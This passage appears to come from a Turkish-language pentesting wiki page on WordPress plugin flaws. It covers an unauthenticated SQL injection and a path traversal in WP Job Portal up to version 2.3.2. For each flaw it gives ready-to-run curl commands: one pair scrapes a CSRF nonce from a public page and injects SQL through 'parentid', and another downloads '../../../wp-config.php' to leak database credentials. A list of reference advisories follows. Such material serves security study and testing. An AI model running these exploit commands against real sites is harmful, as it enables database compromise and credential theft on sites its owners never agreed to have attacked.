is_numeric()
/esc_sql()
/ prepared statement yok. - Kimliksız erişilebilirlik – işlem
admin-post.php
üzerinden çalıştırılıyor olmasına rağmen, yerdeki tek kontrol CSRF nonce (wp_verify_nonce()
), bu nonce'u herhangi bir ziyaretçi[wpjobportal_my_resumes]
shortcode'unu içeren bir açık sayfadan alabilir.
İstismar
- Taze bir nonce alın:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
parentid
'i kötüye kullanarak arbitrary SQL enjekte edin:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Yanıt enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirerek SQLi'yi kanıtlar.
Kimliksız Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Başka bir görev, downloadcustomfile, ziyaretçilere path traversal yoluyla diskteki herhangi bir dosyayı indirme izni veriyordu. Zayıf sink şu dosyada bulunur: modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
saldırgan tarafından kontrol ediliyor ve girdi temizleme uygulanmadan birleştiriliyor. Yine, tek engel CSRF nonce olup bu nonce özgeçmiş sayfasından alınabilir.
İstismar
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Sunucu wp-config.php
içeriğini döndürüyor, leaking DB credentials and auth keys.
Referanslar
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
{{#include ../../banners/hacktricks-training.md}}